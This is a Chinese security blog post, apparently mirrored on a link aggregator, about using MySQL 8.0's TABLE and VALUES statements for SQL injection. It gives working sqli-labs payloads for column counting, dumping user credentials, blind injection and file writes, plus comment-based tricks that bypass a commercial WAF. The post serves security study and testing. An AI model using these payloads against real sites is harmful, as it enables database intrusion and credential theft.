2

浅析MySQL8.0新特性利用

 2 years ago
source link: https://www.mi1k7ea.com/2021/09/01/%E5%88%A9%E7%94%A8MySQL8-0%E6%96%B0%E7%89%B9%E6%80%A7%E7%BB%95%E8%BF%87WAF/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x01 MySQL 8.0环境搭建

在PHPstudy中支持的MySQL 8版本为8.0.12,但是实际利用到的新特性是在MySQL 8.0.19之后才出现的,因此需要自行搭建对应的MySQL环境。

这里就本地下载Windows最新版搭建,参考菜鸟教程进行Windows本地安装:https://www.runoob.com/mysql/mysql-install.html

接着,在my.ini文件中添加如下内容:

default_authentication_plugin=mysql_native_password

安装好运行登录之后需要修改密码:

alter user 'root'@'localhost' identified by 'root';
FLUSH PRIVILEGES;

最后重启MySQL服务即可:

net stop mysql
net start mysql

0x02 MySQL 8.0新特性

TABLE语句

官方文档:https://dev.mysql.com/doc/refman/8.0/en/table.html

TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列。

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

TABLE与SELECT

TABLE语句在某些方面的行为类似于SELECT。给定存在一个名为的表t,以下两个语句将产生相同的输出:

TABLE t;
SELECT * FROM t;

1.png

TABLE和SELECT关键区别:

  • TABLE始终显示表的所有列;

  • TABLE不允许对行进行任意过滤,也就是说,TABLE不支持任何WHERE子句;

可以通过ORDER BY和LIMIT这两各关键字实现限制返回的表列来获取指定的行。

UNION联合查询替换

TABLE可以替换UNION SELECT结构,也可以和SELECT交叉使用,注意两个table的列数必须相同:

table security.users union table security.referers;
select * from security.users union select * from security.referers;
select * from security.users union table security.referers;
table security.users union select * from security.referers;

2.png

SELECT xx INTO OUTFILE替换

可以使用TABLE替换SELECT xx INTO OUTFILE的SELECT:

table security.users into outfile 'D:\\tmp\\dump.txt';
select * from security.users into outfile 'D:\\tmp\\dump.txt';

注意,在使用INTO OUTFILE语句的时候,MySQL会报错:

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

此时,输入如下sql查询语句:

mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+
1 row in set, 1 warning (0.00 sec)

看到secure_file_priv的值为NULL,表示限制不能导入导出。

secure_file_priv参数用于限制LOAD DATASELECT xx INTO OUTFILELOAD_FILE()等:

  • NULL:表示限制mysqld不允许导入或导出;
  • /tmp:表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行;
  • 没有值:表示不限制mysqld在任意目录的导入导出;

又因为secure_file_priv参数是只读参数,不能使用set global命令修改。

正确的解决办法是在my.ini中添加如下配置,然后重启MySQL即可:

secure_file_priv=''

现在就没问题了:

3.png

SELECT xx INTO DUMPFILE替换

和前面OUTFILE是类似的,关键区别在于:

  • OUTFILE导出全部数据,DUMPFILE只能导出一行数据;
  • OUTFILE在将数据写到文件里时有特殊的格式转换,而DUMPFILE则保持原数据格式;

因此,在使用DUMPFILE时需要结合limit选定指定行:

table security.users limit 1 into dumpfile 'D:\\tmp\\dump.txt';

4.png

子查询替换

当子查询的表只有单列时,可以使用TABLE语句来替换SELECT进行子查询:

select * from security.users where username in (table security.vips);
select * from security.users where username in (select * from security.vips);
select * from security.users where username in (select name from security.vips);

5.png

INSERT xx SELECT替换

参考文档改下即可:

https://dev.mysql.com/doc/refman/8.0/en/insert-select.html

CREATE TABLE/VIEW xx SELECT替换

参考文档改下即可:

https://dev.mysql.com/doc/refman/8.0/en/create-table-select.html

https://dev.mysql.com/doc/refman/8.0/en/create-view.html

VALUES语句

官方文档:https://dev.mysql.com/doc/refman/8.0/en/values.html

VALUES是MySQL 8.0.19中引入的DML语句,该语句返回一组一个或多个行作为表。换句话说,它是一个表值构造函数,还可以充当独立的SQL语句。

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]

row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]

value_list:
value[, value][, ...]

column_designator:
column_index

该语句由VALUES关键字组成,后跟一个或多个行构造函数的列表,以逗号分隔。行构造函数由ROW()行构造子句组成,该子句的值列表包含在括号中的一个或多个标量值。值可以是任何MySQL数据类型的文字,也可以是解析为标量值的表达式。

ROW()不能为空(但提供的每个标量值可以为NULL),并且在同一条VALUES语句中的每个语句的列的数量必须相同。

简单地说,VALUES语句可以用来构造表:

mysql> values row("q", 42, '2020-02-01'), row(23, "abc", 98.6), row(27.0002, "Mary Smith", '{"a": 10, "b": 25}') limit 2,1;
+----------+------------+--------------------+
| column_0 | column_1 | column_2 |
+----------+------------+--------------------+
| 27.0002 | Mary Smith | {"a": 10, "b": 25} |
+----------+------------+--------------------+
1 row in set (0.00 sec)

从输出表的列中看到,其中有隐含命名的列column_0、column_1、 column_2等等,索引从0开始,可使用limit输出指定行。其中的列可以是混合类型。

UNION联合查询替换

根据VALUES语句构造表的特性,可以和UNION联合查询中的SELECT语句进行交叉替换使用:

select * from security.users union select 1,2,3;
select * from security.users union values row(1,2,3);
select * from security.users union values row(1,2,3), row(4,5,6);
values row('a','b','c') union select * from security.users;
values row('a','b','c') union values row(1,2,3); // 可完全省略不用union

6.png

0x03 在SQL注入中的利用

由前面知道,TABLE和VALUES这两个语句可用于替换UNION联合查询中的SELECT进行查询,因此这部分新特性主要针对SELECT部分的过滤进行绕过利用。

这里以sqli-labs为例。

VALUES ROW()替换ORDER BY推测列数

推测列数无需ORDER BY,直接用VALUES语句即可:

?id=0' union values row(1,2)%23
?id=0' union values row(1,2,3)%23

7.png

UNION VALUES联合查询

应用UNION VALUES语句就能直接调用数据库内置函数查询对应的信息:

?id=0' union values row(1,user(),version())%23

8.png

可以结合concat系列函数进行利用:

?id=0' union values row(1,null,concat_ws(char(32,58,32),user(),database(),version()))%23

9.png

如果WAF仅仅是过滤UNION SELECT关键字,并没有对UNION VALUES后面添加SELECT进行过滤,那么可以像正常一样利用SELECT结合concat做子查询来dump库:

?id=0' union values row(1,null,(select group_concat(concat_ws(char(32,58,32),id,username,password)) from users))%23

10.png

当然,也可以组合TABLE语句进行查询,注意此时TABLE语句指定的表必须是只有一列且限制只能输出一行:

?id=0' union values row(1,null,(table vips limit 0,1))%23

11.png

UNION TABLE联合查询

使用UNION TABLE的时候,注意两个表的列数必须相同:

?id=0' union table referers limit 0,1%23

12.png

利用小于号会逐个比较一行中每一列值的大小来进行盲注,当然,除了小于号、其他比较符可自行构造,如下:

?id=0' or (1,'d','') < (table users limit 1)%23
?id=0' or (1,'e','') < (table users limit 1)%23
?id=0' or (1,'dumb','dumb') < (table users limit 1)%23
?id=0' or (1,'dumb','dumb') = (table users limit 1)%23

13.png

14.png

15.png

0x04 xx绕过

本地测试xx当前版本号为V4.0.23137。

用UNION SELECT妥妥的直接被拦截了:

16.png

使用UNION VALUES就能成功绕过:

17.png

使用UNION TABLE也能成功绕过,但要注意两个表的列数必须相同才行:

18.png

直接使用TABLE语句盲注查询,会被拦截:

19.png

关键的拦截特征在于将or与后面字符匹配到了,这里利用注释符的一个Trick来实现绕过:

?id=0' or/*!90000mmmmmmmm*/(1,'d','') < (table users limit 0,1)%23

20.png

盲注当然是OK的,就是注入过程比较慢,这里可以使用前面说到的UNION VALUES后面添加SELECT查询的方式来尝试,原payload当然会被拦截:

21.png

这里推测WAF过滤的关键点也是在于UNION之后以及SELECT之后的关键词正则匹配,要断开这种关键词匹配同样使用前面的Trick即可:

?id=0' union/*!90000mmmmmmmm*/values row(1,null,(select/*!90000mmmmmmmm*/group_concat(concat_ws(char(32,58,32),id,username,password)) from users))%23

22.png

OK,确实可以绕过xx。

0x0n 参考

TABLE Statement

VALUES Statement

MYSQL8.0注入新特性


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK